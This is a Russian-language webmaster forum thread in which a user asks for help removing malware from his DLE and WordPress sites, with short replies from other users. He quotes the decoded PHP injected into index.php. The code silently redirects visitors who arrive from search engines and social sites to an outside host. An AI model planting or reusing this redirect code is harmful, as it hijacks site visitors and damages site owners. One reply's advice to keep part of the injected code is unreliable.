Помогите убрать вирус :)

-=Player=-
На сайте с 13.05.2009
Offline
172
757

Собственно. Почти все сайты заражены, timeweb.ru отказывается помочь убрать гадость...

Добрый день.
К сожалению, анализ пользовательского кода выходит за рамки технической поддержки хостинга.

Придется самому убрать и переехать к другим ребятам.

Суть такая, в корне, в файле index.php есть такой код:


....

С помощью сервиса http://www.msurf.ru/base64.php получаю:


error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER['HTTP_REFERER']; $uag=$_SERVER['HTTP_USER_AGENT']; if ($uag) { if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://namesti.bee.pl/"); exit(); } } }

Убираю этот код, все падает... Подскажите что дальше делать.

Эффективная реклама сайта в сети! (/ru/forum/865896)
G
На сайте с 12.04.2008
Offline
101
#1

Телепатов тут нет. Или вы хотите выслушать 100 советов и все попробывать? Что за CMS? Нужна помощь пишите - могу посмотреть.

Продажа сайтов (/ru/forum/866932) под Amazon и AdSense
-=Player=-
На сайте с 13.05.2009
Offline
172
#2
GSMtricks:
Телепатов тут нет. Или вы хотите выслушать 100 советов и все попробывать? Что за CMS? Нужна помощь пишите - могу посмотреть.

DLE и WP....

I
На сайте с 23.12.2010
Offline
25
#3
-=Player=-:
Убираю этот код, все падает... Подскажите что дальше делать

вот это надо оставить

error_reporting(0); $qazplm=headers_sent();
-=Player=-
На сайте с 13.05.2009
Offline
172
#4

Всем спасибо, особенно GSMtricks!

Вроде готово.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий